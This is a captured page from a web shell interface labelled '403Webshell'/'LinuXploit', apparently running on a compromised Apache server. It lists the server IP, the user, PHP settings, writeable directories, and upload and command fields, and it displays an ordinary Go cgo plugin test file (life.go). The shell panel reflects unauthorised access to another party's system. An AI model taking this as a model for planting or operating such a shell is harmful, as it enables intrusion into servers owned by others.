403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.217.153
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/go-1.23/src/cmd/cgo/internal/testplugin/testdata/issue25756/plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/go-1.23/src/cmd/cgo/internal/testplugin/testdata/issue25756/plugin/life.go
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

// #include "life.h"
import "C"

import "unsafe"

func Run(gen, x, y int, a []int32) {
	n := make([]int32, x*y)
	for i := 0; i < gen; i++ {
		C.Step(C.int(x), C.int(y), (*C.int)(unsafe.Pointer(&a[0])), (*C.int)(unsafe.Pointer(&n[0])))
		copy(a, n)
	}
}

// Keep the channels visible from Go.
var chans [4]chan bool

// Double return value is just for testing.
//
//export GoStart
func GoStart(i, xdim, ydim, xstart, xend, ystart, yend C.int, a *C.int, n *C.int) (int, int) {
	c := make(chan bool, int(C.MYCONST))
	go func() {
		C.DoStep(xdim, ydim, xstart, xend, ystart, yend, a, n)
		c <- true
	}()
	chans[i] = c
	return int(i), int(i + 100)
}

//export GoWait
func GoWait(i C.int) {
	<-chans[i]
	chans[i] = nil
}

Youez - 2016 - github.com/yon3zu
LinuXploit